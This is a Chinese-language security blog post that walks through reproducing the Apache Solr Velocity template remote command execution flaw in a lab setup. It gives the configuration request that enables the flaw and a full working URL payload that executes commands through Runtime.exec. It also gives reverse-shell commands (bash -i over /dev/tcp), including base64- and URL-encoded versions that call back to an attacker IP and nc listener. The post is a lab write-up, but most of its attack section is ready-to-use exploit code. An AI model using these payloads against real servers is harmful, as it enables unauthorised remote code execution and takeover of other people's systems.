Solr Velocity模板远程命令执行漏洞+反弹shell

  1. 环境搭建
  2. 漏洞复现
  3. 反弹shell

这个漏洞出来好几天了一直没有时间进行复现

漏洞需要java的环境,这里我就直接在kali上进行搭建了

环境搭建

首先下载源码

1
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.tgz

解压之后进入bin目录下,运行

1
./solr create_core -c alice -d ../example/example-DIH/solr/db -force

这里是新建了一个alice的core,然后启用环境

1
./solr start -force

默认端口是8983,我们访问这个地址,然后在core admin中找到了alice

每一个我们新建的core都有配置信息

这里我们要修改一下配置,我们要将params.resource.loader.enabled这个参数设置为true,默认为false,才能触发漏洞,post提交下面的内容

1
2
3
4
5
6
7
8
9
10
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}


返回200,说明修改成功

漏洞环境就搭建到这里啦

漏洞复现

payload:

1
http://192.168.43.128:8983/solr/alice/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

这样就可以执行命令了,github上也有很多利用的脚本

反弹shell

这里好像和之前泛微oa的命令执行是一样的,利用了getRuntime().exec()这个函数来执行命令,但是这个函数有一些特性,可以看下面的文章和内容
https://mp.weixin.qq.com/s/ZS-hA03ykKleDjgN8oWZDw

所以我们直接执行命令的时候不能使用:

1
bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1"

而是要利用base64编码:

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i}

这里我们来实验一下:
目标机器:192.168.43.128
攻击机器:192.168.43.1

首先在攻击机器上设置nc监听端口

然后将我们反弹shell的bash命令进行base64编码:

然后进行一次url编码

构造后的payload:

1
%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEvMTEyMzMgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27


这样我们就能反弹shell了
脚本就不写咯
:)


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:Solr Velocity模板远程命令执行漏洞+反弹shell

本文作者:sher10ck

发布时间:2019-11-04, 15:15:33

最后更新:2020-01-13, 12:49:36

原始链接:http://sherlocz.github.io/2019/11/04/Solr-Velocity模板远程命令执行漏洞/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录